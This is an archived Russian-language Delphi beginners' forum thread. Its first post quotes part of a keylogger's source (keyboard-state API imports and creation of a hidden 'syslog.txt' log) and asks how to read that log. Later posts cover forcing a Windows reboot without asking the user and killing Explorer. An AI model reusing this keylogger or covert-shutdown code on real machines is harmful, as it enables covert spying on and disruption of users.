[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by banned, 6 May 2007.

Thread Status:
Not open for further replies.
  1. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Вот решил разобратьсяв коде кейлогера
    взят из этой темы(последний пост):
    ССЫЛКА
    и возник один вопрос:
    как сделать так, чтобы файл, в который записывается лог клавиш был доступен для чтения, а то все мои попытки не увенчались успехом (нужно чтобы была возможность считывать в стринговом формате)?Вот отрывок кода:
    Code:
    type
     UINT=Cardinal;
     DWORD=Cardinal;
     SHORT=SmallInt;
     HKL = LongWord;
     HKEY = type LongWord;
     THandle = Cardinal;
     HWND=Cardinal;
     BOOL = Boolean;
     _SYSTEMTIME = record
        wYear: Word;
        wMonth: Word;
        wDayOfWeek: Word;
        wDay: Word;
        wHour: Word;
        wMinute: Word;
        wSecond: Word;
        wMilliseconds: Word;
      end;
    TSystemTime = _SYSTEMTIME;
     MMRESULT = UINT;
       TOverLapped = record
        Internal: LongWord;
        InternalHigh: LongWord;
        Offset: LongWord;
        OffsetHigh: LongWord;
        hEvent: LongWord;
      end;
      TSecurityAttributes = record
        nLength: LongWord;
        lpSecurityDescriptor: Pointer;
        bInheritHandle: LongBool;
      end;
      POverlapped = ^TOverlapped;
      PSecurityAttributes = ^TSecurityAttributes;
      TFNTimeCallBack = procedure(uTimerID, uMessage: UINT;
        dwUser, dw1, dw2: DWORD) stdcall;
    
    
    
    var
    TIDA:Integer;
      TID:Integer;
      loggern:pchar;
      wintext:array[0..144]of char;
      _temp:^cardinal;
      wrote:longWord;
      buffer:array[0..40000] of char;
      FH:THandle;
      acWindow:HWND;
      path:string;
    
      function MakeWord(A, B: Byte): Word;
    begin
      Result := A or B shl 8;
    end;
    
    function RegCreateKey(hKey: HKEY; lpSubKey: PChar;
      var phkResult: HKEY): Longint; stdcall; external 'advapi32' name 'RegCreateKeyA';
    function RegSetValueEx(hKey: HKEY; lpValueName: PChar;
      Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): Longint; stdcall; external 'advapi32' name 'RegSetValueExA';
    function RegCloseKey(hKey: HKEY): Longint; stdcall; external 'advapi32' name 'RegCloseKey';
    function GetKeyboardLayout(dwLayout: DWORD): HKL; stdcall; external 'user32' name 'GetKeyboardLayout';
    function GetWindowThreadProcessId(hWnd: HWND; lpdwProcessId: Pointer): DWORD; stdcall;  external 'user32' name 'GetWindowThreadProcessId';
    function GetForegroundWindow: HWND; stdcall; external 'user32' name 'GetForegroundWindow';
    function GetAsyncKeyState(vKey: Integer): SHORT; stdcall; external 'user32' name 'GetAsyncKeyState';
    function GetKeyState(nVirtKey: Integer): SHORT; stdcall; external 'user32' name 'GetKeyState';
    function timeSetEvent(uDelay, uResolution: UINT;
      lpFunction: TFNTimeCallBack; dwUser: DWORD; uFlags: UINT): MMRESULT; stdcall; external 'winmm.dll' name 'timeSetEvent';
    function GetWindowText(hWnd: HWND; lpString: PChar; nMaxCount: Integer): Integer; stdcall; external 'user32' name 'GetWindowTextA';
    function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: LongWord;
      lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord;
      hTemplateFile: LongWord): LongWord; stdcall;
            external 'kernel32.dll' name 'CreateFileA';
    function SetFilePointer(hFile: THandle; lDistanceToMove: Longint;
      lpDistanceToMoveHigh: Pointer; dwMoveMethod: DWORD): DWORD; stdcall; external 'kernel32' name 'SetFilePointer';
    function GetFileSize(hFile: THandle; lpFileSizeHigh: Pointer): DWORD; stdcall; external 'kernel32' name 'GetFileSize';
    function WriteFile(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord;
      var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): LongBool; stdcall;
            external 'kernel32.dll' name 'WriteFile';
    function SetFileAttributes(lpFileName: PChar; dwFileAttributes: DWORD): BOOL; stdcall; external 'kernel32' name 'SetFileAttributesA';
    function CloseHandle(hObject: THandle): BOOL; stdcall; external 'kernel32' name 'CloseHandle';
    function lstrlen(lpString: PChar): Integer; stdcall; external 'kernel32' name 'lstrlenA';
    function lstrcpy(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcpyA';
    function lstrcat(lpString1, lpString2: PChar): PChar; stdcall; external 'kernel32' name 'lstrcatA';
    function GetWindowsDirectory(lpBuffer: PChar; uSize: UINT): UINT; stdcall; external 'kernel32' name 'GetWindowsDirectoryA';
    function GetTempPath(nBufferLength: DWORD; lpBuffer: PChar): DWORD; stdcall; external 'kernel32' name 'GetTempPathA';
    procedure Sleep(milliseconds: Cardinal); stdcall; external 'kernel32.dll' name 'Sleep';
    procedure GetSystemTime(var lpSystemTime: TSystemTime); stdcall; external 'kernel32' name 'GetSystemTime';
    //...................
    //...................
    path:='syslog.txt';
    FH:=CreateFile(Pchar(path),$40000000,$00000002,nil,2,0,0);
    SetFileAttributes(Pchar(path),$00000002);
    
     
  2. rasl

    rasl New Member

    Joined:
    29 Feb 2008
    Messages:
    14
    Likes Received:
    2
    Reputations:
    0
    Dr.KoD
    http://msdn2.microsoft.com/en-us/library/aa363858(VS.85).aspx
    FH:=CreateFile(Pchar(path),$40000000,$00000002,nil ,2,0,0);
    лень разбираца но вроде какой то параметр отвечает за атрибут файла системный скрытый для чтения и т д
    dwFlagsAndAttributes

    HANDLE WINAPI CreateFile(
    __in LPCTSTR lpFileName,
    __in DWORD dwDesiredAccess,
    __in DWORD dwShareMode,
    __in_opt LPSECURITY_ATTRIBUTES lpSecurityAttributes,
    __in DWORD dwCreationDisposition,
    __in DWORD dwFlagsAndAttributes, - вот это надо менять
    __in_opt HANDLE hTemplateFile

    Attribute Meaning

    FILE_ATTRIBUTE_ARCHIVE
    32
    0x20
    The file should be archived. Applications use this attribute to mark files for backup or removal.

    FILE_ATTRIBUTE_ENCRYPTED
    16384
    0x4000
    The file or directory is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and subdirectories. For more information, see File Encryption.

    This flag has no effect if FILE_ATTRIBUTE_SYSTEM is also specified.

    FILE_ATTRIBUTE_HIDDEN
    2
    0x2
    The file is hidden. Do not include it in an ordinary directory listing.

    FILE_ATTRIBUTE_NORMAL
    128
    0x80
    The file does not have other attributes set. This attribute is valid only if used alone.

    FILE_ATTRIBUTE_OFFLINE
    4096
    0x1000
    The data of a file is not immediately available. This attribute indicates that file data is physically moved to offline storage. This attribute is used by Remote Storage, the hierarchical storage management software. Applications should not arbitrarily change this attribute.

    FILE_ATTRIBUTE_READONLY
    1
    0x1
    The file is read only. Applications can read the file, but cannot write to or delete it.

    FILE_ATTRIBUTE_SYSTEM
    4
    0x4
    The file is part of or used exclusively by an operating system.

    FILE_ATTRIBUTE_TEMPORARY
    256
    0x100
    The file is being used for temporary storage. File systems avoid writing data back to mass storage if sufficient cache memory is available, because an application deletes a temporary file after a handle is closed. In that case, the system can entirely avoid writing the data. Otherwise, the data is written after the handle is closed.
    );
    вроде че то типо того или я непонял )
     
    #1282 rasl, 5 Apr 2008
    Last edited: 5 Apr 2008
    1 person likes this.
  3. Dr.KoD

    Dr.KoD Elder - Старейшина

    Joined:
    1 Mar 2008
    Messages:
    68
    Likes Received:
    22
    Reputations:
    1
    Блин в самый главный справочник забыл заглянуть, все спасиб разобрался.
     
  4. FIND_ERROR

    FIND_ERROR Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    70
    Likes Received:
    14
    Reputations:
    0
    глюк с TICQClient а именно в использовании функции
    SetSelfInfoGeneral неменяет инфу ХЗ почему.
    Подключаюсь пытаюсь сменить инфу но увы, некаких ошибок невыдаёт мож кто уже сталкивался и знает как решить даную проблему! зарание благгодарен!
     
  5. ForNeVeR

    ForNeVeR Elder - Старейшина

    Joined:
    1 May 2006
    Messages:
    67
    Likes Received:
    31
    Reputations:
    0
    Дело, возможно, в том, что компонент писался ОЧЕНЬ давно, с тех пор на серверах Icq было много изменений. Например, старая версия крысы (созданная на базе именно этого компонента) у меня тоже инфу сохраняла некорректно. Тут можно только поискать более свежую версию компонента (хотя сам автор его забросил, есть альтернативные сборки).
     
  6. FIND_ERROR

    FIND_ERROR Elder - Старейшина

    Joined:
    30 Apr 2007
    Messages:
    70
    Likes Received:
    14
    Reputations:
    0
    версия самая свежая что на его саите, то что нашёл из альтернативных сборок тоже инфу неменяет... может есть какой другой способ? или имеються ссылки на рабочий компонент ?
     
  7. mas0n

    mas0n Member

    Joined:
    5 Apr 2008
    Messages:
    7
    Likes Received:
    8
    Reputations:
    0
    Давно ничего подобного не писал. Но если ты качал с сайта кобанса то ничего удивительного - релиз действительно очень старый. Попробуй вот этот, исправленный и слегка дополненный.
     
  8. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    1.Как на Vista программно вытащить сидиром?
    2.Как на Vista программно перезагрузить комп, неспрашивая у пользователя?
     
    1 person likes this.
  9. ZirroCool

    ZirroCool Elder - Старейшина

    Joined:
    16 Sep 2006
    Messages:
    128
    Likes Received:
    55
    Reputations:
    20
    так же как и в хп =), если я не ошибаюсь!
    1. http://www.liveofpc.3dn.ru/publ/4-1-0-14
    и
    2. ShellExecute(0, "open", "cmd.exe", "shutdown -s", 0, SW_HIDE);// Исправил
     
    #1289 ZirroCool, 10 Apr 2008
    Last edited: 10 Apr 2008
    1 person likes this.
  10. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    2.Слово ShellExecute подчёркивается красным и показывает мне это:
    [DCC Error] Unit1.pas(51): E2003 Undeclared identifier: 'ShellExecute'
    [DCC Error] Project1.dpr(5): F2063 Could not compile used unit 'Unit1.pas'

    3.Как вырубить Explorer ?
     
    #1290 xaker-boss, 10 Apr 2008
    Last edited: 10 Apr 2008
  11. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Если память не изменяет, для использования ShellExecute надо подключить модуль ShellApi. Можно заместо ShellExecute воспользоваться WinExec
    Что значит "вырубить Explorer"? О чем речь - браузер или проводник?
     
  12. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    а как подключить модуль ShellApi? если можно поподробней
    Explorer - Тот что позволяет лазить по папкам, показывает значки на рабочем столе и тд
     
    #1292 xaker-boss, 10 Apr 2008
    Last edited: 10 Apr 2008
  13. ZirroCool

    ZirroCool Elder - Старейшина

    Joined:
    16 Sep 2006
    Messages:
    128
    Likes Received:
    55
    Reputations:
    20
    uses shellapi
     
  14. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    _http://www.nowa.cc/showthread.php?t=124958

    Вот про "убийство" процессов
     
    1 person likes this.
  15. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Я конечно извеняюсь за мой флуд, но может ли мне ктонебуть подсказать нармальный, рабочий код чтобы вырубить/или/перезагрузить винду???
    Желательно на подобие этого: ShellExecute(0, 'open', 'cmd.exe', 'shutdown -s', 0, SW_HIDE);
    тока этот почемуто нехочет работать.
     
  16. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Code:
    function MyExitWindows(RebootParam: Longword): Boolean;  
    var  
      TTokenHd: THandle;  
      TTokenPvg: TTokenPrivileges;  
      cbtpPrevious: DWORD;  
      rTTokenPvg: TTokenPrivileges;  
      pcbtpPreviousRequired: DWORD;  
      tpResult: Boolean;  
    const  
      SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';  
    begin  
      if Win32Platform = VER_PLATFORM_WIN32_NT then  
      begin  
        tpResult := OpenProcessToken(GetCurrentProcess(),  
          TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,  
          TTokenHd);  
        if tpResult then  
        begin  
          tpResult := LookupPrivilegeValue(nil,  
                                           SE_SHUTDOWN_NAME,  
                                           TTokenPvg.Privileges[0].Luid);  
          TTokenPvg.PrivilegeCount := 1;  
          TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;  
          cbtpPrevious := SizeOf(rTTokenPvg);  
          pcbtpPreviousRequired := 0;  
          if tpResult then  
            Windows.AdjustTokenPrivileges(TTokenHd,  
                                          False,  
                                          TTokenPvg,  
                                          cbtpPrevious, 
                                          rTTokenPvg, 
                                          pcbtpPreviousRequired); 
        end; 
      end; 
      Result := ExitWindowsEx(RebootParam, 0);
    end; 
    
    //Выключение
    procedure TForm1.Button18Click(Sender: TObject);
    begin
     MyExitWindows(EWX_POWEROFF or EWX_FORCE);
    end;
    
    //Перезагрузка
    procedure TForm1.Button19Click(Sender: TObject);
    begin
      MyExitWindows(EWX_REBOOT or EWX_FORCE); 
    end;
    _http://lantricks.ru/lanshutdown/help.php

    _http://www.delphisources.ru/pages/faq/base/shutdown_computer_with_any_os.html


    _http://netler.ru/pc/shutdown.htm

    _http://forum.oszone.net/post-619178.html


    Можешь еще (велосипед :D ) автоматизировать на DELPHI:
    Создаешь .bat с параметрами - програмно,
    запускаешь, и удаляешь:)
     
    #1296 De-visible, 10 Apr 2008
    Last edited: 10 Apr 2008
  17. cyber$nake

    cyber$nake Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    93
    Likes Received:
    11
    Reputations:
    0
    отправка мыла средствами Delphi через HTTP

    подскажите как мона сделать отправку емайл сообщения желательно с аттачем через http из Delphi? :)
     
  18. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    Тебе с помощью компонента или на чистом WinApi?
     
  19. cyber$nake

    cyber$nake Elder - Старейшина

    Joined:
    27 Mar 2007
    Messages:
    93
    Likes Received:
    11
    Reputations:
    0
    хоть как, главное чтобы через http
     
  20. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    _http://rsdn.ru/article/qna/inet/email.xml ПОЧИТАЙ ТУТ ПОКА
    Прослушай запросы сниффером, idHTTP1 тебе в помощь!
     
    #1300 De-visible, 14 Apr 2008
    Last edited: 14 Apr 2008
Thread Status:
Not open for further replies.